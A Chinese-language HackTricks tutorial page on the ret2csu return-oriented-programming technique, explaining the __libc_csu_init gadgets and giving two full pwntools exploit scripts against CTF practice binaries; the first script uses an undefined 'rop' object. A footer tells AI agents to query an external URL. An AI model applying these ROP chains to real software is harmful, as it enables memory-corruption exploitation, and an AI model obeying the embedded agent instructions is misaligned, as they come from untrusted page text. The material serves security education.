# Ret2csu

<details>

<summary><strong>从零开始学习AWS黑客技术，成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

##

## <https://www.scs.stanford.edu/brop/bittau-brop.pdf>基本信息

**ret2csu**是一种黑客技术，当您试图控制程序但找不到通常用于操纵程序行为的**gadgets**时使用。

当程序使用某些库（如libc）时，它具有用于管理程序中不同部分如何通信的一些内置函数。在这些函数中，有一些隐藏的宝石可以充当我们缺失的gadgets，特别是一个称为`__libc_csu_init`的函数。

### \_\_libc\_csu\_init中的神奇Gadgets

在\*\*`__libc_csu_init`\*\*中，有两个要突出的指令序列（gadgets）：

1. 第一个序列允许我们在几个寄存器（rbx、rbp、r12、r13、r14、r15）中设置值。这些类似于我们可以稍后使用的数字或地址的存储槽。

```armasm
pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;
```

这个工具允许我们通过从堆栈中弹出值来控制这些寄存器。

2. 第二个序列使用我们设置的值来执行一些操作：

* **将特定值移动到其他寄存器**，使它们准备好作为函数参数使用。
* **调用一个位置**，该位置由将r15和rbx中的值相加确定，然后将rbx乘以8。

```armasm
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
```

2. 也许你不知道任何要写入的地址，而且你需要一个 `ret` 指令。请注意，第二个小工具也会以 `ret` 结尾，但是你需要满足一些条件才能到达它：

```armasm
mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret
```

条件如下：

* `[r12 + rbx*8]` 必须指向存储可调用函数的地址（如果没有思路且没有PIE，可以直接使用 `_init` 函数）；
* 如果 `_init` 在 `0x400560`，使用 GEF 在内存中搜索指向它的指针，并使 `[r12 + rbx*8]` 成为具有指向 `_init` 的指针的地址：

```bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤  search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44  →   "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44  →   "\x60\x05\x40[...]"
```

* `rbp` 和 `rbx` 必须具有相同的值以避免跳转
* 你需要考虑一些省略的弹出操作

## RDI 和 RSI

从 ret2csu gadget 中控制 **`rdi`** 和 **`rsi`** 的另一种方法是通过访问特定的偏移量：

<figure><img src="/files/ka5lKWQZpe2cOO60axG7" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>

查看此页面以获取更多信息：

{% content-ref url="/pages/VIpBoCGw8xMFOJTh5UaW" %}
[BROP - Blind Return Oriented Programming](/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
{% endcontent-ref %}

## 示例

### 使用调用

假设你想要进行系统调用或调用一个像 `write()` 这样的函数，但需要在 `rdx` 和 `rsi` 寄存器中作为参数具有特定值。通常，你会寻找直接设置这些寄存器的 gadget，但你找不到任何。

这就是 **ret2csu** 发挥作用的地方：

1. **设置寄存器**：使用第一个 magic gadget 从堆栈中弹出值并将其放入 rbx、rbp、r12 (edi)、r13 (rsi)、r14 (rdx) 和 r15 中。
2. **使用第二个 Gadget**：有了这些设置的寄存器，你可以使用第二个 gadget。这使你可以将你选择的值移动到 `rdx` 和 `rsi` 中 (分别来自 r14 和 r13)，为函数调用准备参数。此外，通过控制 `r15` 和 `rbx`，你可以使程序调用位于你计算并放入 `[r15 + rbx*8]` 中的地址的函数。

你可以在[**这里使用此技术并解释它的示例**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation)，这是它使用的最终利用：

```python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"
```

{% hint style="warning" %}
请注意，前面的漏洞利用并不意味着进行RCE，而是仅仅调用一个名为`win`的函数（从标准输入中获取`win`的地址，在ROP链中调用gets并将其存储在r15中），并将第三个参数的值设为`0xdeadbeefcafed00d`。
{% endhint %}

### 绕过调用并到达ret

以下漏洞利用是从[**此页面**](https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html)提取的，在这个页面中使用了**ret2csu**，但是不是使用调用，而是**绕过比较并到达`ret`**。

```python
# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

from pwn import *

# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b *    0x4007b0')

# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)

# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)

# Padding from start of input to saved return address
payload = "0"*0x28

# Our first gadget, and the values to be popped from the stack

# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX

# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15

# Finally the address of ret2win
payload += ret2win

# Send the payload
target.sendline(payload)
target.interactive()
```

### 为什么不直接使用libc？

通常这些情况也容易受到[**ret2plt**](/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](/binary-exploitation/rop-return-oriented-programing/ret2lib.md)的影响，但有时您需要控制的参数比直接在libc中找到的gadget更多。例如，`write()`函数需要三个参数，**直接找到设置所有这些参数的gadget可能是不可能的**。


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/binary-exploitation/rop-return-oriented-programing/ret2csu.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
